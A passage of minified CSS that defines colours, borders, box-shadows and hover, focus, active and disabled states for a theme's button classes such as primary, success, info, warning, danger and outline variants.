-5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); } .btn-primary.disabled:focus { background: #6352ce; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); } .btn-primary.active { background: #6352ce; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); } .btn-primary.active:focus { background-color: #6352ce; border: 1px solid #6352ce; } .btn-primary.active:hover { background-color: #6352ce; border: 1px solid #6352ce; } .btn-primary.disabled.active { background: #6352ce; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); } .btn-themecolor { background: #1976d2; color: #ffffff; border: 1px solid #1976d2; } .btn-themecolor:hover { background: #1976d2; opacity: 0.7; border: 1px solid #1976d2; } .btn-themecolor:active { background: #028ee1; } .btn-themecolor:focus { background: #028ee1; } .btn-themecolor.disabled { background: #1976d2; color: #ffffff; border: 1px solid #1976d2; } .btn-themecolor.disabled:hover { background: #1976d2; opacity: 0.7; border: 1px solid #1976d2; } .btn-themecolor.disabled:active { background: #028ee1; } .btn-themecolor.disabled:focus { background: #028ee1; } .btn-themecolor.active { background: #028ee1; } .btn-themecolor.disabled.active { background: #028ee1; } .btn-success { background: #26dad2; border: 1px solid #26dad2; -webkit-box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12); box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-success:hover { background: #26dad2; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); border: 1px solid #26dad2; } .btn-success:active { background: #1eacbe; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); } .btn-success:active:focus { background-color: #1eacbe; border: 1px solid #1eacbe; } .btn-success:active:hover { background-color: #1eacbe; border: 1px solid #1eacbe; } .btn-success:focus { background: #1eacbe; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); background-color: #1eacbe; border: 1px solid #1eacbe; } .btn-success.disabled { background: #26dad2; border: 1px solid #26dad2; -webkit-box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12); box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-success.disabled:hover { background: #26dad2; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); border: 1px solid #26dad2; } .btn-success.disabled:active { background: #1eacbe; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); } .btn-success.disabled:focus { background: #1eacbe; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); } .btn-success.active { background: #1eacbe; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); } .btn-success.active:focus { background-color: #1eacbe; border: 1px solid #1eacbe; } .btn-success.active:hover { background-color: #1eacbe; border: 1px solid #1eacbe; } .btn-success.disabled.active { background: #1eacbe; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); } .btn-info { background: #1976d2; border: 1px solid #1976d2; -webkit-box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12); box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-info:hover { background: #1976d2; border: 1px solid #1976d2; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); } .btn-info:active { background: #028ee1; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); } .btn-info:active:focus { background-color: #028ee1; border: 1px solid #028ee1; } .btn-info:active:hover { background-color: #028ee1; border: 1px solid #028ee1; } .btn-info:focus { background: #028ee1; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); background-color: #028ee1; border: 1px solid #028ee1; } .btn-info.disabled { background: #1976d2; border: 1px solid #1976d2; -webkit-box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12); box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-info.disabled:hover { background: #1976d2; border: 1px solid #1976d2; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); } .btn-info.disabled:active { background: #028ee1; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); } .btn-info.disabled:focus { background: #028ee1; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); } .btn-info.active { background: #028ee1; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); } .btn-info.active:focus { background-color: #028ee1; border: 1px solid #028ee1; } .btn-info.active:hover { background-color: #028ee1; border: 1px solid #028ee1; } .btn-info.disabled.active { background: #028ee1; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); } .btn-warning { background: #ffb22b; -webkit-box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12); box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12); border: 1px solid #ffb22b; -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; color: #ffffff; } .btn-warning:hover { background: #ffb22b; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); border: 1px solid #ffb22b; } .btn-warning:active { background: #e9ab2e; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); } .btn-warning:active:focus { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .btn-warning:active:hover { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .btn-warning:focus { background: #e9ab2e; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); background-color: #e9ab2e; border: 1px solid #e9ab2e; } .btn-warning.disabled { background: #ffb22b; -webkit-box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12); box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12); border: 1px solid #ffb22b; -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; color: #ffffff; } .btn-warning.disabled:hover { background: #ffb22b; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); border: 1px solid #ffb22b; } .btn-warning.disabled:active { background: #e9ab2e; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); } .btn-warning.disabled:focus { background: #e9ab2e; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); } .btn-warning.active { background: #e9ab2e; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); } .btn-warning.active:focus { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .btn-warning.active:hover { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .btn-warning.disabled.active { background: #e9ab2e; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); } .btn-danger { background: #ef5350; border: 1px solid #ef5350; -webkit-box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12); box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-danger:hover { background: #ef5350; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); border: 1px solid #ef5350; } .btn-danger:active { background: #e6294b; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); } .btn-danger:active:focus { background-color: #e6294b; border: 1px solid #e6294b; } .btn-danger:active:hover { background-color: #e6294b; border: 1px solid #e6294b; } .btn-danger:focus { background: #e6294b; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); background-color: #e6294b; border: 1px solid #e6294b; } .btn-danger.disabled { background: #ef5350; border: 1px solid #ef5350; -webkit-box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12); box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-danger.disabled:hover { background: #ef5350; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); border: 1px solid #ef5350; } .btn-danger.disabled:active { background: #e6294b; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); } .btn-danger.disabled:focus { background: #e6294b; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); } .btn-danger.active { background: #e6294b; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); } .btn-danger.active:focus { background-color: #e6294b; border: 1px solid #e6294b; } .btn-danger.active:hover { background-color: #e6294b; border: 1px solid #e6294b; } .btn-danger.disabled.active { background: #e6294b; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); } .btn-inverse { background: #2f3d4a; border: 1px solid #2f3d4a; color: #ffffff; } .btn-inverse:hover { background: #2f3d4a; opacity: 0.7; color: #ffffff; border: 1px solid #2f3d4a; background-color: #232a37; border: 1px solid #232a37; } .btn-inverse:active { background: #232a37; color: #ffffff; background-color: #232a37; border: 1px solid #232a37; } .btn-inverse:focus { background: #232a37; color: #ffffff; background-color: #232a37; border: 1px solid #232a37; } .btn-inverse.disabled { background: #2f3d4a; border: 1px solid #2f3d4a; color: #ffffff; } .btn-inverse.disabled:hover { background: #2f3d4a; opacity: 0.7; color: #ffffff; border: 1px solid #2f3d4a; } .btn-inverse.disabled:active { background: #232a37; color: #ffffff; } .btn-inverse.disabled:focus { background: #232a37; color: #ffffff; } .btn-inverse.active { background: #232a37; color: #ffffff; background-color: #232a37; border: 1px solid #232a37; } .btn-inverse.disabled.active { background: #232a37; color: #ffffff; } .btn-red { background: #fb3a3a; border: 1px solid #fb3a3a; color: #ffffff; } .btn-red:hover { opacity: 0.7; border: 1px solid #fb3a3a; background: #fb3a3a; background-color: #d61f1f; border: 1px solid #d61f1f; color: #ffffff; } .btn-red:active { background: #e6294b; background-color: #d61f1f; border: 1px solid #d61f1f; color: #ffffff; } .btn-red:focus { background: #e6294b; background-color: #d61f1f; border: 1px solid #d61f1f; color: #ffffff; } .btn-red.disabled { background: #fb3a3a; border: 1px solid #fb3a3a; color: #ffffff; } .btn-red.disabled:hover { opacity: 0.7; border: 1px solid #fb3a3a; background: #fb3a3a; } .btn-red.disabled:active { background: #e6294b; } .btn-red.disabled:focus { background: #e6294b; } .btn-red.active { background: #e6294b; background-color: #d61f1f; border: 1px solid #d61f1f; color: #ffffff; } .btn-red.disabled.active { background: #e6294b; } .btn-outline-secondary { background-color: #ffffff; -webkit-box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12); box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-outline-secondary:focus { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-outline-secondary:hover { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-outline-secondary:active { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-outline-secondary.focus { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-outline-secondary.active { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-outline-primary { color: #5c4ac7; background-color: #ffffff; border-color: #5c4ac7; -webkit-box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12); box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-outline-primary:focus { background: #5c4ac7; color: #ffffff; border-color: #5c4ac7; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); background: #6352ce; } .btn-outline-primary:hover { background: #5c4ac7; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); color: #ffffff; border-color: #5c4ac7; } .btn-outline-primary:active { -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); background: #6352ce; } .btn-outline-primary.focus { background: #5c4ac7; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); color: #ffffff; border-color: #5c4ac7; } .btn-outline-primary.active { -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); background: #6352ce; } .btn-outline-success { color: #26dad2; background-color: transparent; border-color: #26dad2; -webkit-box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12); box-shadow: 0 2px 2px 0 rgba(40, 190, 189, 0.14), 0 3px 1px -2px rgba(40, 190, 189, 0.2), 0 1px 5px 0 rgba(40, 190, 189, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-outline-success:focus { background: #26dad2; border-color: #26dad2; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); background: #1eacbe; } .btn-outline-success:hover { background: #26dad2; border-color: #26dad2; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); } .btn-outline-success:active { -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 